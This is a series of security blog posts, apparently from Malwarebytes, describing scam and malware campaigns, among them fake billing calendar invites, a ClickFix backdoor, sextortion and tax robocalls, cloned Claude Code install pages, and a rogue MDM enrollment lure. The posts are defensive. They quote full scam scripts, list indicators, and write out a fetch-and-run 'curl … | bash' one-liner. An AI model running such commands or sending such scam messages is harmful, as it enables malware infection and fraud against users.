Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
We’ve become aware of a scam campaign sending fake calendar invites that impersonate Malwarebytes and attempt to trick recipients into calling a scam “billing support” number.
The amounts in these fake invites are large and attention-grabbing, usually several hundred dollars for multiple years of service.
The scammers want you to believe a considerable charge has already gone through so that you react immediately instead of thinking critically.
The goal is to get you to call, rather than click a link. The calendar description reads like a receipt, but the real call to action is always the same: urging you to call a number immediately to dispute or cancel the charge. m
Once you call, the scammer can pressure you in real time. They might ask for payment details, convince you to install remote-access software, or manipulate you into sending money.
What the fake calendar invite looks like
The body of the calendar invite is crammed with fake details intended to look like they came from a billing system:
Multiple ID lines, such as Membership ID, Client UID, Customer ID, Service Number
A string of made-up transaction or account codes
This one even sells a product that isn’t in our portfolio.
The language and formatting scream copied-and-pasted scam script rather than professional communication.
There are several inconsistencies you can look for:
Unnatural or incorrect phrasing:
“Membership Duration: 4yrold”
“We’re thrilled to have you with us for another year!” (in a 4-year renewal notice)
“Your membership benefits remain fully active.”
Inconsistent capitalization and formatting:
“FOUR YEAR (All Caps)”
“04 Year”
“USD344.55”
Phone numbers written with odd punctuation:
1.810.228.8708
1 865 3849684
Overly effusive, generic greetings and closings:
“Dear Sir/Madam,” “Greetings to all,” “Hello there”
“Yours in Respect,” “Much Gratitude,” “Always Appreciative,” “With Joy, best regards,”
Individually, any one of these might just be sloppy writing. Seeing many of them together in an unsolicited billing notice is a strong indicator of fraud.
What happens if you call the number
The calendar invite itself doesn’t charge you anything. Its purpose is to trick you into calling the scammer’s phone number.
Once they have you on the line, several things can happen.
Stealing payment card and bank details
A common script goes like this:
You call, upset about the huge “renewal.”
The scammer agrees it’s a mistake and says they can “reverse the charge.”
They then ask for:
Your full card number, expiry date, and CVV.
Your bank account and routing number.
One-time passcodes sent by your bank “to confirm the refund.”
Once they have that information, they can:
Make unauthorized purchases or withdrawals.
Enroll you in other fraudulent subscriptions.
Use your card details for further identity theft.
The phony renewal is just a pretext to make handing over financial data feel reasonable.
Convincing you to send money directly
In some versions, the scammer pretends to refund you too much. They may:
Ask you to log in to online banking while they’re on the phone.
Direct you to move money or manipulate your account, sometimes with remote-access software.
Claim there’s been an error, and you must “return” the over-refund, often via unusual methods like gift cards, cryptocurrency, wire transfer, or peer-to-peer payment apps.
The result is that you send them real money to fix a problem that never existed.
Getting remote access to your computer
Tech support-style scammers often escalate the call by asking you to install legitimate remote-access tools like AnyDesk, TeamViewer, and others.
They claim they need access:
to cancel the subscription
to verify your account
or to help you process the refund
Once on your machine, they can:
Capture passwords and session cookies
Move files or install malware
Manipulate what you see in your browser (for example, by editing HTML to “prove” a refund went through)
The longer they stay connected, the more damage they can do.
Harvesting personal information for later fraud
Even if you hang up before giving bank details, the scammer may still try to extract:
Full name, address, and date of birth
Email addresses and passwords to “locate your account”
Answers to common security questions (first school, mother’s maiden name, etc.)
Combined with other breached data, this information can be used later for:
New account fraud (like opening loans or credit cards in your name)
Account takeovers of your email, cloud storage, or other services
Targeted phishing attacks that reference the earlier call
Building trust for future scams
Don’t be fooled. The person on the phone will usually sound patient, polite, and professional. They’re trying to convince you they work for the company named in the invite and normalize the idea that you should call them any time there’s a billing issue.
Once they’ve gained your trust, they may:
Call you back weeks or months later with a new story
Sell your details to other scammers who know you’re likely to respond
The one constant: they want you to act quickly and privately. The objective is to rush you into dealing with them, and only them, instead of checking independently with your bank or the real company.
How to recognize calendar scams
Legitimate companies send invoices and renewal confirmations as emails, in-app messages, or account notifications. They don’t send them as calendar appointments created by random people using private email addresses.
Red flags include:
The “bill” appears as an event in Google Calendar, Outlook, or another calendar app.
The title looks like a transaction status instead of a meeting:
“Subscription Renewal Notice: [random code]”
“Payment Processed Successfully: [random code]”
“Renewal Approved: [random code]”
You didn’t schedule this event yourself.
If a “receipt” shows up in your calendar instead of through your normal billing channels, treat it as suspicious by default.
How to remove fake entries from your calendar
We’ve included instructions in our article how to remove fake entries from your calendar, which covers how to do it on Outlook calendar, Gmail calendar, Android calendar, Mac calendar, and iPhone and iPad calendars.
How to prevent calendar spam
We’ve covered some of this already, but the main precautions are:
Turn off auto-add or auto-processing so invites stay as emails until you accept them.
Restrict calendar permissions so only trusted people and apps can add events.
In shared or resource calendars, remove public or anonymous access and limit who can create or edit items.
Use an up-to-date real-time anti-malware solution with a web protection component to block known malicious domains.
Don’t engage with unsolicited events. Don’t click links, open attachments, or reply to suspicious calendar events such as “investment,” “invoice,” “bonus payout,” “urgent meeting”—just delete the event.
Enable multi-factor authentication (MFA) on your accounts so attackers who compromise credentials can’t abuse the account itself to send or auto-accept invitations.
Pro tip: If you’re not sure whether an event is a scam, you can paste the message into Malwarebytes Scam Guard. It can help you decide what to do next.
IOCs
Phone numbers involved in these scams are:
(810) 228-2614
(810) 228-8708
(810) 268-6113
(865) 384-9684
(865) 385-0070
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
Update Friday, March 13: A Temu spokesperson contacted us to say: “Temu has not issued any cryptocurrency, token, or digital asset—including any so-called “Temu Coin.” Any airdrop, wallet claim, or cryptocurrency offer purporting to be from Temu is fraudulent and has no connection to our company.”
We’ve covered ClickFix campaigns before: the fake CAPTCHAs, the fake Windows updates, the trick of getting victims to paste malicious commands into their own machines. Now we’ve identified a campaign that uses the opening initial steps seen in ClickFix attacks, but what happens after is different enough to warrant a closer look.
It starts with a convincing fake website promoting a $TEMU airdrop, a fabricated cryptocurrency that uses the name of the well-known shopping platform TEMU. It ends with a remote-access backdoor that checks in with its operators and runs instructions streamed from the internet instead of storing them locally, making it much harder for traditional antivirus tools to detect.
Same opener, different game
If you’ve read our earlier coverage of ClickFix, you know the drill: a webpage that looks like a security check, instructions to press Win+R and paste something, and the user ends up executing a malicious command on their own system.
This campaign’s lure is a polished fake website that mimics a $TEMU cryptocurrency airdrop. “Discover Exclusive $TEMU Airdrop,”it announces, complete with a logo and navigation bar designed to look like a legitimate crypto project. There is no such coin. The site exists purely to get visitors to click a fake “I’m not a robot” checkbox.
Clicking it triggers a modal titled “Complete these Verification Steps,” which walks the victim through opening a command prompt window using Win+R, then pressing Ctrl+V to paste whatever is waiting on their clipboard and hitting Enter.
For anyone who hesitates, there is a “Video Instructions” button that expands an embedded screen recording demonstrating each keypress in sequence. It’s effectively a help-desk style tutorial guiding victims through executing the attackers’ command. At the bottom of the modal, a fake reCAPTCHA badge reads “Verification ID: 4963,” lending it the appearance of a legitimate security check. What sets this campaign apart is everything that happens after that Enter key is pressed.
First, the malware identifies the host
Earlier in the infection chain, the loader collects basic host information and sends it to the command server. The payload returned by the server already contains a unique identifier assigned to the victim machine. In the decoded PowerShell stage, this appears as a variable such as $machine_id, which is embedded directly in the script delivered to the infected system.
Embedding a unique identifier in the returned payload allows the attackers to track individual infections from the moment a machine first checks in. Because this identifier is inserted into the script before it reaches the victim, the server can generate slightly different payloads for different systems.
This matters more than it sounds. Security companies maintain shared databases of known-bad files. When a malicious file is identified, its fingerprint can be added to those databases within hours. If attackers generate slightly different versions of a payload for different victims, traditional file-hash-based detection becomes far less effective because there is no single file signature for defenders to block.
A windowless house guest
With the profiling done, the campaign deploys its backdoor using a bundled Python runtime. This is the same programming language used every day by millions of developers and students. It arrives self-contained, needs no administrator permissions, and does not typically appear as a traditional installed application. The version that actually runs is called pythonw.exe, where the “w” stands for “windowless.” No console, no sound, and nothing in the taskbar.
Earlier Python-based ClickFix campaigns that have been documented delivered a static Python file that performed a fixed task. This campaign appears to take a different approach. Each time the hidden process checks in with the server, it retrieves a new piece of Python code and executes it directly in memory rather than storing it as a persistent script on disk.
This architecture allows the attackers to change the malware’s behavior simply by modifying the code delivered by the server. Different victims can receive different instructions, and the functionality of the infection can be altered without updating anything already present on the compromised machine.
What they can do with an open door
Because the server can send any Python code it likes, the attackers’ capabilities are largely determined by whatever code the command server delivers. In campaigns using similar backdoors, attackers have been observed stealing browser credentials and session cookies, recording keystrokes, taking screenshots, and using the foothold to reach other machines on the same network. The campaign also included infrastructure to notify the attackers via Telegram the moment a new victim checked in—though a debug flag in the decoded payload was set to disabled, suggesting either a campaign in active development or deliberate operational caution.
Python also makes for convenient camouflage. Many corporate security systems include it on their list of trusted applications that are allowed to reach the internet without scrutiny. A Python process sending data outbound can look, at a glance, like a developer running a routine script. Detecting this type of activity typically requires behavior-based monitoring rather than file-signature scanning, making it harder to detect for most security tools.
ClickFix keeps evolving
ClickFix campaigns keep evolving because the core trick sidesteps technical defenses entirely. The victim executes the malicious command themselves.
Earlier this year we covered how attackers switched from PowerShell to nslookup after security software began detecting the original technique. This campaign tackles the same problem from a different angle: instead of changing how the malware is delivered, it tries to ensure there is no stable file left behind.
The backdoor receives instructions dynamically rather than storing them on disk, and the payload can vary for each victim. Without a consistent file to analyze, traditional file-signature detection has much less to work with.
How to stay safe
Here’s some general ClickFix advice that should help you avoid falling victim:
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
If you think you’ve been affected
However, if you are past that point and suspect this specific campaign, here is what to check.
Look inside %LOCALAPPDATA%\Programs\Python\ for a folder called Python3133 that you did not install. That is the malware’s Python runtime.
Open %TEMP% and look for a file called temp_settings. Its presence is the tracking marker this campaign leaves behind.
Open Task Manager, go to the Startup tab, and look for pythonw.exe running from an AppData or Program Files\Python3133 location.
Change passwords for important accounts from a clean device and revoke active sessions where possible.
Indicators of Compromise (IOCs)
Domains
• temucoin[.]lat
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Meta has rolled out more anti-scam protections across WhatsApp, Facebook, and Messenger to fight sophisticated fraud tactics. The features will help stop celebrity impersonators and brand spoofers from defrauding its users, the company said.
Meta is also targeting attackers who exploit legitimate platform features like device linking to hijack accounts. People use this feature to connect more than one of their devices to their account, enabling them to flit between their phone and their computer without skipping a beat.
Scammers fool users into sharing phone numbers and linking codes that then let them link their own malicious devices to the user’s account. They can then access the victim’s messages and send messages impersonating them. Victims usually retain account access, making breaches harder to detect.
More protections in Facebook and Messenger
The protections go beyond WhatsApp. Meta has also deployed AI-powered protections across Facebook and Messenger to catch fraudsters before they hook victims. Facebook will now test warnings for friend requests that seem fishy, flagging profiles with few mutual connections or mismatched locations.
Messenger’s scam detection can also identify patterns like bogus job offers from new contacts. Users can submit suspicious chats for AI review, which analyzes text, images, and contextual signals to spot celebrity impersonation schemes. So if Brad Pitt’s mum appears to be matchmaking, you’ll have a digital wingman to restore your sense of reality.
The new measures also spot brand spoofing and deceptive links, so if someone tries to direct you to a fake website for a well-known company, Meta will do its best to block that.
Malwarebytes users benefit from similar protection through Scam Guard, which analyzes suspicious messages, links, and conversations across multiple platforms, not just one app.
There’s more at play than just altruism
This is part of an ongoing anti-scam campaign by Meta, which launched anti-scam protections on WhatsApp and Messenger last October. It also says that it removed more than 159 million scam ads and dismantled 10.9 million accounts on Facebook and Instagram linked to criminal operations in 2025. It also participated in a global law enforcement operation that arrested 21 suspects and shuttered more than 150,000 accounts linked to Southeast Asian scam networks.
Still, the move may not be entirely altruistic. Regulators have been demanding answers from Facebook about the extent to which it fights scams. Forty-two state attorneys general wrote to the tech giant last June about investment scam ads on its platform. And in November, Consumer Reports asked the FTC and state attorneys to take action against the company over:
“knowingly allowing the proliferation of billions of scam advertisements.”
That request likely stemmed from reports last year suggesting Meta has constrained some anti-scam measures. Reuters reported that the company limited anti-scam enforcement to actions costing no more than 0.15% of total revenue. Internal documents also reportedly estimated that the company received $16bn in revenue from scam ads (an estimate Meta later disputed as “rough and overly inclusive”).
Meta has said it wants 90% of its ad revenue to come from verified advertisers by 2026, up from around 70% today, in an effort to reduce scam advertising on its platforms.
September also saw the European Commission request information from Apple, Booking.com, Bing, Google Play, and Google Search about how they identify and manage risks related to financial scams under the Digital Services Act. While they didn’t explicitly mention Meta, scrutiny about platforms’ scam-fighting efforts in the EU is clearly increasing.
Nevertheless, the new protections arrive at a timely moment. Dutch intelligence recently warned about phishing campaigns targeting government employees through Signal and WhatsApp. The operation relies on social engineering techniques that abuse legitimate authentication features.
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
A recurring lure in phishing emails impersonating United Healthcare is the promise of a free Oral-B toothbrush. But the interesting part isn’t the toothbrush. It’s the link.
Two examples of phishing emails
Recently we found that these phishers have moved from using Microsoft Azure Blob Storage (links looking like this:
to links obfuscated by using an IPv6-mapped IPv4 address to hide the IP in a way that looks confusing but is still perfectly valid and routable. For example:
http://[::ffff:5111:8e14]/
In URLs, putting an IP in square brackets means it’s an IPv6 literal. So [::ffff:5111:8e14] is treated as an IPv6 address.
::ffff:x:y is a standard form called an IPv4-mapped IPv6 address, used to represent an IPv4 address inside IPv6 notation. The last 32 bits (the x:y part) encode the IPv4 address.
So we need to convert 5111:8e14 to an IPv4 address. 5111 and 8e14 are hexadecimal numbers. In theory that means:
0x5111 in decimal = 20753
0x8e14 in decimal = 36372
But for IPv4-mapped addresses we really treat that last 32 bits as four bytes. If we unpack 0x51 0x11 0x8e 0x14:
0x51 = 81
0x11 = 17
0x8e = 142
0x14 = 20
So, the IPv4 address this URL leads to is 81.17.142.20
The emails are variations on a bogus reward from scammers pretending to be United Healthcare that uses a premium Oral‑B iO toothbrush as bait. Victims are sent to a fast‑rotating landing page where the likely endgame is the collection of personally identifiable information (PII) and card data under the guise of confirming eligibility or paying a small shipping fee.
How to stay safe
What to do if you entered your details
If you submitted your card details:
Contact your bank or card issuer immediately and cancel the card
Dispute any unauthorized charges
Don’t wait for fraud to appear. Stolen card data is often used quickly
Change passwords for accounts linked to the email address you provided
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
Our malware removal support team recently flagged a new wave of sextortion emails, with the subject line: “You pervert, I recorded you!”
If the message sounds familiar, that’s because it’s a variation of the long-running “Hello pervert” scam.
The email claims the target’s device has been infected by a “drive-by exploit,” which supposedly gave the extortionist full access to the device. To add credibility, the scammer includes a password that actually belongs to the target.
Here’s one of the emails:
Your device was compromised by my private malware. An outdated browser makes you vulnerable; simply visiting a malicious website containing my iframe can result in automatic infection. For further information search for ‘Drive-by exploit’ on Google. My malware has granted me full access to your accounts, complete control over your device, and the ability to monitor you via your camera. If you believe this is a joke, no, I know your password: {an actual password} I have collected all your private data and RECORDED FOOTAGE OF YOU MASTRUBATING THROUGH YOUR CAMERA! To erase all traces, I have removed my malware. If you doubt my seriousness, it takes only a few clicks to share your private video with friends, family, contacts, social networks, the darknet, or to publish your files. You are the only one who can stop me, and I am here to help. The only way to prevent further damage is to pay exactly $800 in Bitcoin (BTC). This is a reasonable offer compared to the potential consequences of disclosure. You can purchase Bitcoin (BTC) from reputable exchanges here: {list of crypto-currency exchanges} Once purchased, you can send the Bitcoin directly to my wallet address or use a wallet application such as Atomic Wallet or Exodus Wallet to manage your transactions. My Bitcoin (BTC) wallet address is: {bitcoin wallet which has received 1 payment at the time of writing} Copy and paste this address carefully, as it is case-sensitive. You have 4 days to complete the payment. Since I have access to this email account, I will be aware if this message has been read. Upon receipt of the payment, I will remove all traces of my malware, and you can resume your normal life peacefully. I keep my promises!
The message is a bit contradictory. Early on, the sender claims they have already removed the malware to “erase all traces,” but later promises to remove it after receiving payment.
Where the password comes from
I found that one particular sender using the name Jenny Green and the Gmail address JennyGreen64868@gmail.com sent many of these emails to people that use the FakeMailGenerator service.
FakeMailGenerator is a free disposable email service that gives users a temporary, receive‑only inbox they can use instead of their real address, mainly to get around email confirmations or avoid spam.
As mentioned, the addresses are receive‑only, meaning they cannot legitimately send mail and the mailbox is not tied to a specific person. On top of that, there is no login. Anyone who knows the address (or guesses the inbox URL) can see the same inbox.
My guess is that the scammer searched these public inboxes for passwords and then reused those passwords in their sextortion emails.
So users of FakeMailGenerator and similar services should consider this a warning. Your inbox may be publicly accessible, show up in search results, and you may receive a lot more than what you signed up for. Definitely don’t use services like this for anything sensitive.
How to stay safe
Knowing these scams exist is the first step to avoiding them. Sextortion emails rely on panic and embarrassment to push people into paying quickly. Here are a few simple steps to protect yourself:
Don’t rush. Scammers rely on fear and urgency. Take a moment to think before reacting.
Don’t reply to the email. Responding tells the attacker that someone is reading messages at that address, which may lead to more scams.
Change your password if it appears in the email. If you still use that password anywhere, update it.
Use a password manager. If you’re having trouble generating or storing a strong password, have a look at a password manager.
Don’t open unsolicited attachments. Especially when the sender address is suspicious or even your own.
Don’t use disposable inboxes for important accounts. The mail in that inbox might be available for anyone to find.
For peace of mind, turn your webcam off or buy a webcam cover so you can cover it when you’re not using the webcam.
Pro tip: Malwarebytes Scam Guard immediately recognized this for what it is: a sextortion scam.
What do cybercriminals know about you?
Use Malwarebytes’ free Digital Footprint scan to see whether your personal information has been exposed online.
While Americans are sorting through paperwork to get their taxes filed in time, scammers are working overtime to grab a piece of the action.
As tax season ramps up, so does scam activity. Our telemetry shows a spike in robocalls impersonating tax resolution firms, tax relief agencies, and vaguely named “assistance centers.” These calls are designed to create urgency, fear, and confusion in the hope of pushing recipients to call back before they have time to think critically.
These robocalls typically try to collect personal information, pressure victims into paying fake tax debts, or funnel them into questionable tax-relief services.
Below are transcripts of two recent voicemail examples submitted by anonymized Scam Guard users that illustrate how these scams operate.
The scripts: different names, similar playbook
Voicemail #1
“Hi, this is <REDACTED_NAME> calling on March 3rd from the eligibility support and review division at the tax resolution assistance center. I’m contacting you because your account remains under active confirmation review. There is still an opportunity to verify your standing while this evaluation period remains open. To make this simple, we provide a direct proprietary verification line with no weight, allowing immediate access to clear and accurate information. This verification step is brief and focused strictly on determining current eligibility and available options. Please call back at 888-919-9743. Again, 888-919-9743. If this message reached you in error, please call back and press 3 to be removed”
Characteristics:
Claims to be from an “eligibility support and review division at the tax resolution assistance center.”
Says your “account remains under active confirmation review.”
Offers a “direct proprietary verification line.”
Urges quick action while the “evaluation period remains open.”
Provides a callback number and an opt-out option.
Voicemail #2
“Hi, this is <REDACTED_NAME> with professional tax associates. Today is Tuesday March 3rd. I’m calling to follow up on back taxes and missed filings. This may be our only attempt to reach you, and due to new resolution programs that are available for a limited time, we highly recommend you give us a call today. This will be your best opportunity to get a fresh start before it becomes a bigger and permanent issue. Please call us back today at 8338204216 again 8338204216. If you’ve already resolved this issue. You may disregard this message or call back using the number on your caller ID to opt out. Thank you. If you were reached in error or wish to stop future outreach, please press 8 now and you will be removed from future outreach. Thank you and we look forward to assisting you. “
Characteristics:
Claims to be with “professional tax associates.”
References “back taxes and missed filings.”
Warns this “may be our only attempt to reach you.”
Mentions “new resolution programs available for a limited time.”
Provides a callback number and opt-out instructions.
What these robocalls have in common
While the wording differs slightly, the structure and psychological tactics are nearly identical.
Both messages use generic but authoritative language:
“Eligibility support and review division”
“Tax resolution assistance center”
“Professional tax associates”
These names sound legitimate but don’t identify a specific, verifiable company. Scammers often rely on institutional-sounding phrases to create credibility without providing any real details.
Both messages also reference vague “account” problems, but neither voicemail mentions:
Your name
A specific tax year
A case number
A known agency like the IRS
Instead, they reference:
“Active confirmation review”
“Back taxes and missed filings”
“Eligibility and available options”
This vagueness is intentional. It allows the same robocall script to target thousands of people, regardless of their actual tax situation.
What you will always see with scams is urgency. Both calls attempt to rush the recipient into action:
“There is still an opportunity… while this evaluation period remains open.”
“This may be our only attempt to reach you.”
“Limited time resolution programs.”
“Call today.”
Creating urgency reduces the likelihood that someone will pause, research the number, or consult a trusted source.
The second voicemail includes the promise of a “fresh start before it becomes a bigger and permanent issue.” This is a common emotional hook, blending fear (a permanent problem) with hope (a fresh start), which can encourage impulsive callbacks.
Both messages push recipients to call a direct number rather than referencing an official website or established contact method. Legitimate tax agencies, including the IRS, do not initiate contact through unsolicited robocalls asking you to call back immediately.
Both scripts include instructions like:
“Press 3 to be removed.”
“Press 8 now and you will be removed.”
“Call back using the number on your caller ID to opt out.”
These opt-out options create an illusion of compliance and legitimacy. In reality, pressing numbers or calling back can confirm that your phone number is active, which may lead to more scam calls.
How to stay safe
Knowing how to identify scam calls is an important step. So, here are some key red flags to watch for:
No personalization
Vague agency names
Pressure to act immediately
Threat of missed opportunity
Promises of relief without verification
Instructions to call back a random 800/833/888 number
Robotic or heavily scripted tone
If a message checks at least one of these boxes, it is very likely not legitimate.
Before calling a number, verify it by visiting the official site directly.
Beware of unsolicited phone calls or emails, especially those that ask you to act immediately. Government agencies will not call out of the blue to demand sensitive personal or financial information.
Never provide sensitive personal information such as your bank account, charge card, or Social Security number over unverified channels. Instead use a secure method such as your online account or another application on IRS.gov.
Attackers are cloning install pages for popular tools like Claude Code and swapping the “one‑liner” install commands with malware, mainly to steal passwords, cookies, sessions, and access to developer environments.
Modern install guides often tell you to copy a single command like curl https://malware-site | bash into your terminal and hit Enter. That habit turns the website into a remote control: whatever script lives at that URL runs with your permissions, often those of an administrator.
Researchers found that attackers abuse this workflow by keeping everything identical, only changing where that one‑liner actually connects to. For many non‑specialist users who just started using AI and developer tools, this method feels normal, so their guard is down.
But this basically boils down to “I trust this domain” and that’s not a good idea unless you know for sure that it can be trusted.
It usually plays out like this. Someone searches “Claude Code install” or “Claude Code CLI,” sees a sponsored result at the top with a plausible URL, and clicks without thinking too hard about it.
But that ad leads to a cloned documentation or download page: same logo, same sidebar, same text, and a familiar “copy” button next to the install command. In many cases, any other link you click on that fake page quietly redirects you to the real vendor site, so nothing else looks suspicious.
Similar to ClickFix attacks, this method is called InstallFix. The user runs the code that infects their own machine, under false pretenses, and the payload usually is an infostealer.
The main payload in these Claude Code-themed InstallFix cases is an infostealer called Amatera. It focuses on browser data like saved passwords, cookies, session tokens, autofill data, and general system information that helps attackers profile the device. With that, they can hijack web sessions and log into cloud dashboards and internal administrator panels without ever needing your actual password. Some reports also mention an interest in crypto wallets and other high‑value accounts.
Windows and Mac
The Claude Code-based campaign the researchers found was equipped to target both Windows and Mac users.
On macOS, the malicious one‑liner usually pulls a second‑stage script from an attacker‑controlled domain, often obfuscated with base64 to look noisy but harmless at first glance. That script then downloads and runs a binary from yet another domain, stripping attributes and making it executable before launching it.
On Windows, the command has been seen spawning cmd.exe, which then calls mshta.exe with a remote URL. This allows the malware logic to run as a trusted Microsoft binary rather than an obvious random executable. In both cases, nothing spectacular appears on screen: you think you just installed a tool, while the real payload silently starts doing its work in the background.
How to stay safe
With ClickFix and InstallFix running rampant—and they don’t look like they’re going away anytime soon—it’s important to be aware, careful, and protected.
Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy-paste code. Analyze what the command will do, before you run it.
Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand the action’s purpose. Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
Limit the use of copy-paste for commands. Manually typing commands instead of copy-pasting can reduce the risk of unknowingly running malicious payloads hidden in copied text.
Secure your devices. Use an up-to-date, real-time anti-malware solution with a web protection component.
Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected vectors and evolve helps maintain vigilance. Keep reading our blog!
Pro tip: Did you know that the free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard?
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
A phishing page disguised as a Google Meet update notice is silently handing victims’ Windows computers to an attacker-controlled management server. No password is stolen, no files are downloaded, and there are no obvious red flags.
It just takes a single click on a convincing Google Meet fake update prompt to enroll your Windows PC into an attacker-controlled device management system.
“To keep using Meet, install the latest version”
The social engineering is almost embarrassingly simple: an app update notice in the right brand colors.
The page impersonates Google Meet well enough to pass a casual glance. But neither the Update now button nor the Learn more link below it goes anywhere near Google.
Both trigger a Windows deep link using the ms-device-enrollment: URI scheme. That’s a handler built into Windows so IT administrators can send staff a one-click device enrollment link. The attacker has simply pointed it at their own server instead.
What “enrollment” actually means for your machine
The moment a visitor clicks, Windows bypasses the browser and opens its native Set up a work or school account dialog. That’s the same prompt that appears when a corporate IT team provisions a new laptop.
The URI arrives pre-populated: The username field reads collinsmckleen@sunlife-finance.com (a domain impersonating Sun Life Financial), and the server field already points to the attacker’s endpoint at tnrmuv-api.esper[.]cloud.
The attacker isn’t trying to perfectly impersonate the victim’s identity. The goal is simply to get the user to click through a trusted Windows enrollment workflow, which grants device control regardless of whose name appears in the form. Campaigns like this rarely expect everyone to fall for them. Even if most people stop, a small percentage continuing is enough for the attack to succeed.
A victim who clicks Next and proceeds through the wizard will hand their machine to an MDM (mobile device management) server they have never heard of.
MDM (Mobile Device Management) is the technology companies use to remotely administer employee devices. Once a machine is enrolled, the MDM administrator can silently install or remove software, enforce or change system settings, read the file system, lock the screen, and wipe the device entirely, all without the user’s knowledge.
There is no ongoing malware process to detect, because the operating system itself is doing the work on the attacker’s behalf.
The attacker’s server is hosted on Esper, a legitimate commercial MDM platform used by real enterprises.
Decoding the Base64 string embedded in the server URL reveals two pre-configured Esper objects: a blueprint ID (7efe89a9-cfd8-42c6-a4dc-a63b5d20f813) and a group ID (4c0bb405-62d7-47ce-9426-3c5042c62500). These represent the management profile that will be applied to any enrolled device.
The ms-device-enrollment: handler works exactly as Microsoft designed it, and Esper works exactly as Esper designed it. The attacker has simply pointed both at someone who never consented.
No malware, no credential theft. That’s the problem.
There is no malicious executable here, and no phished Microsoft login.
The ms-device-enrollment: handler is a documented, legitimate Windows feature that the attacker has simply redirected.
Because the enrollment dialog is a real Windows system prompt rather than a spoofed web page, it bypasses browser security warnings and email scanners looking for credential-harvesting pages.
The command infrastructure runs on a reputable SaaS platform, so domain-reputation blocking is unlikely to help.
Most conventional security tools have no category for “legitimate OS feature pointed at hostile infrastructure.”
The broader trend here is one the security industry has been watching with growing concern: attackers abandoning malware payloads in favor of abusing legitimate operating system features and cloud platforms.
What to do if you think you’ve been affected
Because the attack relies on legitimate system features rather than malware, the most important step is checking whether your device was enrolled.
Check whether your device was enrolled:
Open Settings > Accounts > Access work or school.
If you see an entry you don’t recognize, especially one referencing sunlife-finance[.]com or esper[.]cloud, click it and select Disconnect.
If you clicked “Update now” on updatemeetmicro[.]online and completed the enrollment wizard, treat your device as potentially compromised.
Run an up-to-date, real-time anti-malware solution to check for any secondary payloads the MDM server may have pushed after enrollment.
If you are an IT administrator, consider whether your organization needs a policy blocking unapproved MDM enrollment. Microsoft Intune and similar tools can restrict which MDM servers Windows devices are allowed to join.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Attackers are abusing OpenClaw’s popularity by seeding fake “installers” on GitHub, boosted by Bing AI search results, to deliver infostealers and proxy malware instead of the AI assistant users were looking for.
OpenClaw is an open‑source, self‑hosted AI agent that runs locally on your machine with broad permissions: it can read and write files, run shell commands, interact with chat apps, email, calendars, and cloud services. In other words, if you wire it into your digital life, it may end up handling access to a lot of sensitive data.
And, as is often the case, popularity brings brand impersonation. According to researchers at Huntress, attackers created malicious GitHub repositories posing as OpenClaw Windows installers, including a repo called openclaw-installer. These were added on February 2 and stayed up until roughly February 10, when they were reported and removed.
Bing search results pointed victims to these GitHub repositories. But when the victim downloaded and ran the fake installer, it didn’t give them OpenClaw at all. The installer dropped Vidar, a well‑known information stealer, directly into memory. In some cases, the loader also deployed GhostSocks, effectively turning the victim’s system into a residential proxy node criminals could route their traffic through to hide their activities.
How to stay safe
The good news is that the campaign appears to have been short-lived, and there are clear indicators and mitigations you can use.
If you downloaded an OpenClaw installer recently from GitHub after searching “OpenClaw Windows” in Bing, especially in early February, you should assume your system is compromised until proven otherwise.
Vidar can steal browser credentials, crypto wallets, and data from applications like Telegram. GhostSocks silently turns your machine into a proxy node for other people’s traffic. That’s not just a privacy issue. It can drag you into abuse investigations when someone else’s attacks appear to come from your IP address.
If you suspect you ran a fake installer:
Disconnect the machine from your network, then run a full system scan with a reputable, up‑to‑date anti‑malware solution.
Change passwords for critical services (email, banking, cloud, developer accounts) and do that on a different, clean device.
Run OpenClaw (or similar agents) in a sandboxed VM or container on isolated hosts, with default‑deny egress and tightly scoped allow‑lists.
Give the runtime its own non‑human service identities, least privilege, short token lifetimes, and no direct access to production secrets or sensitive data.
